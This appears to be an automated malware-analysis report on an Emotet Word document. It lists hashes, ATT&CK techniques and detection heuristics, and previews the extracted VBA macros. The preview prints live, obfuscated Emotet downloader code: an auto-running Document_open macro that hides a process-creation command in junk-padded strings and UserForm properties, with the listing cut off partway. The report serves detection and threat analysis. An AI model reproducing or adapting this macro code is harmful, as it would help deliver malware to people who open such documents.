Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 013e709ae7f5cc71…

MALICIOUS

Office (OLE)

233.7 KB Created: 2020-08-17 05:01:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 1dd448076ae9533e4228a8446ade9a2e SHA-1: fbf71615d47b8ae5e1806829a21c3a3baced91e5 SHA-256: 013e709ae7f5cc713c467fc8cb5a58e90a2345b13ec6d7f3662d6ea3804e07e5
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical infection chain. The ClamAV detection explicitly names Emotet, further supporting this classification. The VBA code likely attempts to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9369689-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9369689-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9993 bytes
SHA-256: 891869fbe63d3d645c1e25b80789f8cf4cc6463d42b0cf0eeda03fe5e99e5ee6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B8fixc1h4yjsgp_9"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Mmj_i5pyh_7pxr_1s.Xo228p8d_roxier
End Sub


Attribute VB_Name = "Mmj_i5pyh_7pxr_1s"
Attribute VB_Base = "0{28651497-B845-4FCD-8F22-892F26BF0384}{94237A11-DD6C-4B79-A324-5BE7095D118B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xo228p8d_roxier()
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Brdh_i8teyeq6 = Mmj_i5pyh_7pxr_1s.HelpContextId + 100
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Rup6ygyjah0aw7ii_ = ChrW(Brdh_i8teyeq6 + (100 + 35) / 9)
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Res7xy7jbm7ig5kv6e = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Rup6ygyjah0aw7ii_ + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Mmj_i5pyh_7pxr_1s.Tbx_9xtus57h + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Zo6v2enr8danmjg73d = Ucapnog8gh5in60p(Res7xy7jbm7ig5kv6e)
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Set Foaxtj0jtgu328hi2 = CreateObject(Zo6v2enr8danmjg73d)
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Rh0e87v6_ii5e = Mmj_i5pyh_7pxr_1s.H3l36ct470qlrpj7qg.ControlTipText
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzf
... (truncated)

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